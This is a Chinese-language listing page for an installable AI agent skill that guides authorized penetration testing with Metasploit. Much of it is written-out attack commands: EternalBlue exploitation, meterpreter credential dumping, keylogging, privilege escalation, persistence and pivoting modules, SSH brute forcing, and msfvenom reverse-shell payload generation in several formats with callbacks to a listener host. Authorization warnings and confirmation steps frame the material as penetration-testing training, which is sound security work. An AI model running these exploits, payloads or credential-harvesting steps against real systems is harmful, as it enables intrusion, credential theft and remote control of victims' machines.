mcpField
M
metasploit-framework

metasploit-framework

github.com/sickn33安全48.7k351 次安装今天更新
代码仓库

关于 metasploit-framework

这是一项使用 Metasploit Framework 指导授权渗透测试的技能,涵盖模块查找与配置、载荷和会话操作。它要求先确认授权范围,并强调将操作和数据收集限制在约定评估范围内。

主要功能

  1. 01搜索并配置 Metasploit 模块
  2. 02说明漏洞利用、载荷和辅助模块
  3. 03介绍控制台与会话工作流
  4. 04主动测试前确认授权范围
  5. 05强调受控数据收集与清理

适用场景

  1. 01规划经授权的漏洞评估
  2. 02测试范围明确的实验目标
  3. 03执行前审阅模块选项
  4. 04记录发现并清理测试产物

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/sickn33/agentic-awesome-skills --skill metasploit-framework

安装后在 Claude Code 中输入/metasploit-framework确认已加载。

详细介绍

⚠️ 仅限授权使用 此技能仅用于教育目的或经授权的安全评估。 使用此工具前,必须获得系统所有者明确的书面许可。 滥用此工具属于违法行为,严禁使用。

强制确认关卡 在运行任何会探测、利用、修改、在目标上持久化、从目标提取数据或尝试访问目标凭据的命令之前:

  1. 请用户说明确切的目标 URL、IP、账户或资源。
  2. 请用户确认已获得书面授权,并说明许可范围。
  3. 展示确切的命令,并说明预期效果。
  4. 等待用户在当前对话中明确确认。

未获得上述确认时,请保持只读,并仅提供防御性指导。优先使用沙盒、一次性虚拟机或受控实验室。

Metasploit Framework

用途

借助 Metasploit Framework 进行全面的渗透测试,涵盖从初始利用到利用后活动。Metasploit 提供统一平台,用于漏洞利用、载荷生成、辅助扫描,以及在经授权的安全评估期间维持对已入侵系统的访问。

前置条件

必需工具
# Metasploit must already be installed before using this skill.
# Kali Linux usually ships with it preinstalled.
msfconsole --version

安装方式因操作系统和软件包来源而异。使用此技能前,请遵循平台文档中的软件包管理器或供应商安装流程。请勿在此技能中依赖未固定版本的远程安装脚本。

如果需要工作区跟踪等数据库功能,请按照本地安装说明初始化 msfdb。此技能假设 Metasploit 已可用,且不需要 sudo、systemctl 或其他主机级特权设置步骤。

必备知识
  • 网络和系统基础知识
  • 对漏洞和漏洞利用的理解
  • 基本编程概念
  • 目标枚举技术
必需访问权限
  • 测试的书面授权
  • 访问目标系统的网络权限
  • 对范围和交战规则的理解

运行漏洞利用模块前,请让用户确认确切的目标主机、范围和授权状态。

输出和交付物

  1. 漏洞利用证据 - 成功入侵的屏幕截图和日志
  2. 会话日志 - 命令历史记录和提取的数据
  3. 漏洞映射 - 已利用的漏洞及其 CVE 参考
  4. 利用后产物 - 凭据、文件和系统信息

所有目标 IP 都是示意性的实验室地址,不代表已获授权。check、扫描器、监听器和身份验证尝试均属于主动操作;使用前请检查模块信息和选项,并评估风险。凭据收集、键盘记录/屏幕截图、持久化、横向移动和破坏性进程操作均需要超出基本枚举范围的明确授权。使用合成实验室账户,尽量减少收集的数据,记录产物和清理操作,并确认系统状态已恢复;不要不加区分地提取凭据或持久化访问权限。

核心工作流

阶段 1:MSFConsole 基础

启动并浏览 Metasploit 控制台:

# Start msfconsole
msfconsole

# Quiet mode (skip banner)
msfconsole -q

# Basic navigation commands
msf6 > help                    # Show all commands
msf6 > search [term]           # Search modules
msf6 > use [module]            # Select module
msf6 > info                    # Show module details
msf6 > show options            # Display required options
msf6 > set [OPTION] [value]    # Configure option
msf6 > run / exploit           # Execute module
msf6 > back                    # Return to main console
msf6 > exit                    # Exit msfconsole
阶段 2:模块类型

了解不同的模块类别:

# 1. Exploit Modules - Target specific vulnerabilities
msf6 > show exploits
msf6 > use exploit/windows/smb/ms17_010_eternalblue

# 2. Payload Modules - Code executed after exploitation
msf6 > show payloads
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp

# 3. Auxiliary Modules - Scanning, fuzzing, enumeration
msf6 > show auxiliary
msf6 > use auxiliary/scanner/smb/smb_version

# 4. Post-Exploitation Modules - Actions after compromise
msf6 > show post
msf6 > use post/windows/gather/hashdump

# 5. Encoders - Obfuscate payloads
msf6 > show encoders
msf6 > set ENCODER x86/shikata_ga_nai

# 6. Nops - No-operation padding for buffer overflows
msf6 > show nops

# 7. Evasion - Bypass security controls
msf6 > show evasion
阶段 3:搜索模块

查找适用于目标的模块:

# Search by name
msf6 > search eternalblue

# Search by CVE
msf6 > search cve:2017-0144

# Search by platform
msf6 > search platform:windows type:exploit

# Search by type and keyword
msf6 > search type:auxiliary smb

# Filter by rank (excellent, great, good, normal, average, low, manual)
msf6 > search rank:excellent

# Combined search
msf6 > search type:exploit platform:linux apache

# View search results columns:
# Name, Disclosure Date, Rank, Check (if it can verify vulnerability), Description
阶段 4:配置漏洞利用

设置漏洞利用以供执行:

# Select exploit module
msf6 > use exploit/windows/smb/ms17_010_eternalblue

# View required options
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

# Set target host
msf6 exploit(...) > set RHOSTS 192.168.1.100

# Set target port (if different from default)
msf6 exploit(...) > set RPORT 445

# View compatible payloads
msf6 exploit(...) > show payloads

# Set payload
msf6 exploit(...) > set PAYLOAD windows/x64/meterpreter/reverse_tcp

# Set local host for reverse connection
msf6 exploit(...) > set LHOST 192.168.1.50
msf6 exploit(...) > set LPORT 4444

# View all options again to verify
msf6 exploit(...) > show options

# Check if target is vulnerable (if supported)
msf6 exploit(...) > check

# Execute exploit
msf6 exploit(...) > exploit
# or
msf6 exploit(...) > run
阶段 5:载荷类型

根据具体情况选择合适的载荷:

# Singles - Self-contained, no staging
windows/shell_reverse_tcp
linux/x86/shell_bind_tcp

# Stagers - Small payload that downloads larger stage
windows/meterpreter/reverse_tcp
linux/x86/meterpreter/bind_tcp

# Stages - Downloaded by stager, provides full functionality
# Meterpreter, VNC, shell

# Payload naming convention:
# [platform]/[architecture]/[payload_type]/[connection_type]
# Examples:
windows/x64/meterpreter/reverse_tcp
linux/x86/shell/bind_tcp
php/meterpreter/reverse_tcp
java/meterpreter/reverse_https
android/meterpreter/reverse_tcp
阶段 6:Meterpreter 会话

使用 Meterpreter 进行利用后操作:

# After successful exploitation, you get Meterpreter prompt
meterpreter >

# System Information
meterpreter > sysinfo
meterpreter > getuid
meterpreter > getpid

# File System Operations
meterpreter > pwd
meterpreter > ls
meterpreter > cd C:\\Users
meterpreter > download file.txt /tmp/
meterpreter > upload /tmp/tool.exe C:\\

# Process Management
meterpreter > ps
meterpreter > migrate [PID]
meterpreter > kill [PID]

# Networking
meterpreter > ipconfig
meterpreter > netstat
meterpreter > route
meterpreter > portfwd add -l 8080 -p 80 -r 10.0.0.1

# Privilege Escalation
meterpreter > getsystem
meterpreter > getprivs

# Credential Harvesting
meterpreter > hashdump
meterpreter > run post/windows/gather/credentials/credential_collector

# Screenshots and Keylogging
meterpreter > screenshot
meterpreter > keyscan_start
meterpreter > keyscan_dump
meterpreter > keyscan_stop

# Shell Access
meterpreter > shell
C:\Windows\system32> whoami
C:\Windows\system32> exit
meterpreter >

# Background Session
meterpreter > background
msf6 exploit(...) > sessions -l
msf6 exploit(...) > sessions -i 1
阶段 7:辅助模块

使用辅助模块进行侦察:

# SMB Version Scanner
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(...) > run

# Port Scanner
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > set PORTS 1-1000
msf6 auxiliary(...) > run

# SSH Version Scanner
msf6 > use auxiliary/scanner/ssh/ssh_version
msf6 auxiliary(...) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(...) > run

# FTP Anonymous Login
msf6 > use auxiliary/scanner/ftp/anonymous
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > run

# HTTP Directory Scanner
msf6 > use auxiliary/scanner/http/dir_scanner
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > run

# Brute Force Modules
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > set USER_FILE /usr/share/wordlists/users.txt
msf6 auxiliary(...) > set PASS_FILE /usr/share/wordlists/rockyou.txt
msf6 auxiliary(...) > run
阶段 8:利用后模块

在活动会话上运行利用后模块:

# List sessions
msf6 > sessions -l

# Run post module on specific session
msf6 > use post/windows/gather/hashdump
msf6 post(windows/gather/hashdump) > set SESSION 1
msf6 post(...) > run

# Or run directly from Meterpreter
meterpreter > run post/windows/gather/hashdump

# Common Post Modules
# Credential Gathering
post/windows/gather/credentials/credential_collector
post/windows/gather/lsa_secrets
post/windows/gather/cachedump
post/multi/gather/ssh_creds

# System Enumeration
post/windows/gather/enum_applications
post/windows/gather/enum_logged_on_users
post/windows/gather/enum_shares
post/linux/gather/enum_configs

# Privilege Escalation
post/windows/escalate/getsystem
post/multi/recon/local_exploit_suggester

# Persistence
post/windows/manage/persistence_exe
post/linux/manage/sshkey_persistence

# Pivoting
post/multi/manage/autoroute
阶段 9:使用 msfvenom 生成载荷

创建独立载荷:

# Basic Windows reverse shell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o shell.exe

# Linux reverse shell
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o shell.elf

# PHP reverse shell
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.php

# Python reverse shell
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.py

# PowerShell payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f psh -o shell.ps1

# ASP web shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f asp -o shell.asp

# WAR file (Tomcat)
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f war -o shell.war

# Android APK
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -o shell.apk

# Encoded payload format example; encoding does not guarantee AV/EDR evasion
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o encoded.exe

# List available formats
msfvenom --list formats

# List available encoders
msfvenom --list encoders
阶段 10:设置处理程序

配置用于接收连接的监听器:

# Manual handler setup
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.1.50
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > exploit -j

# The -j flag runs as background job
msf6 > jobs -l

# When payload executes on target, session opens
[*] Meterpreter session 1 opened

# Interact with session
msf6 > sessions -i 1

快速参考

MSFConsole 基本命令
命令说明
search [term]搜索模块
use [module]选择模块
info显示模块信息
show options显示可配置选项
set [OPT] [val]设置选项值
setg [OPT] [val]设置全局选项
run / exploit执行模块
check运行特定于模块的主动检查;可能具有侵入性,且无法证明已成功利用
back取消选择模块
sessions -l列出活动会话
sessions -i [N]与会话交互
jobs -l列出后台任务
db_nmap使用数据库运行 nmap
Meterpreter 基本命令
命令说明
sysinfo系统信息
getuid当前用户
getsystem尝试提升权限
hashdump导出密码哈希
shell进入系统 Shell
upload/download文件传输
screenshot截取屏幕
keyscan_start启动键盘记录器
migrate [PID]切换到另一个进程
background将会话置于后台
portfwd端口转发
常见 Exploit 模块
# Windows
exploit/windows/smb/ms17_010_eternalblue
exploit/windows/smb/ms08_067_netapi
exploit/windows/http/iis_webdav_upload_asp
exploit/windows/local/bypassuac

# Linux
exploit/linux/ssh/sshexec
exploit/linux/local/overlayfs_priv_esc
exploit/multi/http/apache_mod_cgi_bash_env_exec

# Web Applications
exploit/multi/http/tomcat_mgr_upload
exploit/unix/webapp/wp_admin_shell_upload
exploit/multi/http/jenkins_script_console

约束和限制

法律要求
  • 仅在你拥有或已获得书面测试授权的系统上使用
  • 记录所有测试活动
  • 遵守约定的测试规则
  • 向相关方报告所有发现
技术限制
  • 现代 AV/EDR 可能会检测到 Metasploit 载荷
  • 某些 Exploit 需要特定的目标配置
  • 防火墙规则可能会阻止反向连接
  • 并非所有 Exploit 都适用于所有目标版本
操作安全
  • 尽可能使用加密通道(reverse_https)
  • 测试后清理残留文件
  • 与已获授权的评估团队协调监控;隐蔽/规避并非默认目标
  • 将利用后的活动限制在约定范围内

故障排除

问题解决方案
数据库未连接按照本地安装文档中经过审核的数据库设置操作;不要假定需要执行特权 msfdb/系统服务操作
Exploit 失败/未建立会话运行 check;验证载荷架构;检查防火墙;尝试其他载荷
会话立即断开迁移到稳定进程;使用无阶段载荷;检查 AV;使用 AutoRunScript
载荷被 AV 检测到记录检测结果,并与防御方确认约定的测试目标。编码并非可靠的 AV/EDR 绕过方法

适用场景

此技能适用于执行概述中所述的工作流或操作。

评论

支持 Markdown